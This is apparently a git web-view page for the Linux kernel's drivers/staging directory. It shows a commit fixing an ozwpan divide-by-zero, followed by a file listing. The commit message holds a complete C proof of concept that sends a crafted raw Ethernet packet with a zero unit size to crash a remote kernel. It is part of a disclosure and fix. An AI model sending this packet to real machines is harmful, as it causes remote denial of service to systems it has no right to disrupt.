linux-hardened/drivers/staging
Jason A. Donenfeld 04bf464a5d ozwpan: divide-by-zero leading to panic
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-05-30 12:33:54 -07:00
..
android staging: android: ion: fix wrong init of dma_buf_export_info 2015-04-21 14:47:16 +05:30
board
clocking-wizard
comedi Merge branch 'for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2015-04-15 13:22:56 -07:00
dgap Staging: dgap: Use setup_timer to combine initialization 2015-03-16 16:17:31 +01:00
dgnc staging: dgnc_sysfs: Replace printk(KERN_ERR ) with pr_err() 2015-04-01 17:37:57 +02:00
emxx_udc Staging: emuxx_udc: replace pr_* with dev_* 2015-03-16 16:28:31 +01:00
fbtft staging: fbtft: Fix typo in fbtft 2015-03-26 13:07:29 +01:00
fsl-mc staging: fsl-mc: Changed version matching rules for MC object drivers 2015-04-03 13:55:03 +02:00
ft1000 staging: ft1000: Drop unneeded cast on netdev_priv 2015-04-03 14:00:14 +02:00
fwserial staging: fwserial: remove extra parentheses around function arguments 2015-03-15 18:41:11 +01:00
gdm72xx Staging: gdm72xx: use !x instead of x == NULL 2015-03-16 16:28:47 +01:00
gdm724x staging: gdm724x: Correction of variable usage after applying ALIGN() 2015-05-10 15:23:02 +02:00
goldfish staging/goldfish/goldfish_audio: Fix annotations 2015-03-20 14:13:17 +01:00
gs_fpgaboot
i2o Staging: i2o: Remove indentation of labels 2015-03-26 10:40:31 +01:00
iio Merge 4.0-rc7 into staging-next 2015-04-07 11:03:02 +02:00
lustre Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2015-04-26 17:22:07 -07:00
media [media] v4l: omap4iss: Replace outdated OMAP4 control pad API with syscon 2015-04-28 08:38:23 -03:00
mt29f_spinand staging: mt29f_spinand: remove pointer to pointer cast in function argument 2015-03-15 18:41:11 +01:00
netlogic staging: netlogic: allocate right size in devm_kzalloc 2015-03-20 14:13:17 +01:00
nvec Staging driver patches for 4.1-rc1 2015-04-13 17:37:33 -07:00
octeon Merge branch 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus 2015-04-17 15:50:54 -04:00
octeon-usb staging: octeon-usb: make CVMX_WAIT_FOR_FIELD32 to take condition expression 2015-04-03 13:57:28 +02:00
olpc_dcon staging/olpc: drop pci dependencies 2015-04-03 13:56:03 +02:00
ozwpan ozwpan: divide-by-zero leading to panic 2015-05-30 12:33:54 -07:00
panel staging: panel: fix lcd type 2015-03-26 11:00:22 +01:00
rtl8188eu Staging: rtl8188eu: replace kzalloc and memcpy by kmemdup 2015-03-26 13:16:19 +01:00
rtl8192e staging: rtl8192e: Remove dead code 2015-04-03 15:29:31 +02:00
rtl8192u Staging: rtl8192u: use correct array for debug output 2015-04-03 15:40:49 +02:00
rtl8712 staging: rtl8712: freeing an ERR_PTR 2015-05-08 01:58:04 +02:00
rtl8723au Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next 2015-04-15 09:00:47 -07:00
rts5208 staging: rts5208: Remove RTSX_READ_REG and RTSX_WRITE_REG macros 2015-03-26 13:17:05 +01:00
skein Staging: skein: Remove do-while(0) from single statement macros 2015-03-15 18:41:15 +01:00
slicoss Staging: slicoss: Remove redundant and disabled code block 2015-03-27 00:02:52 +01:00
sm7xxfb staging: sm7xxfb: disable pci device 2015-04-03 13:55:03 +02:00
sm750fb staging: sm750: remove incorrect __exit annotation 2015-05-08 01:58:04 +02:00
speakup staging: speakup: Fix warning of line over 80 characters. 2015-04-03 13:43:45 +02:00
ste_rmi4 Staging: ste_rmi4: Use SIMPLE_DEV_PM_OPS() macro 2015-03-20 13:37:31 +01:00
unisys Merge branch 'for-linus-1' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2015-04-14 15:31:03 -07:00
vme staging: vme: mmap() support for vme_user 2015-03-06 17:03:22 -08:00
vt6655 staging: vt6655: lock MACvWriteBSSIDAddress. 2015-05-08 14:35:23 +02:00
vt6656 staging: vt6656: use ieee80211_tx_info to select packet type. 2015-05-08 14:28:04 +02:00
wlan-ng Staging: wlan-ng: Remove typedef prism2sta_accesslist_t 2015-03-23 22:41:16 +01:00
xgifb staging: xgifb: remove extra parentheses around right bit shift operations 2015-03-06 15:22:43 -08:00
Kconfig staging: fsl-mc: Freescale Management Complex (fsl-mc) bus driver 2015-03-06 17:28:09 -08:00
Makefile staging: fsl-mc: Freescale Management Complex (fsl-mc) bus driver 2015-03-06 17:28:09 -08:00
staging.c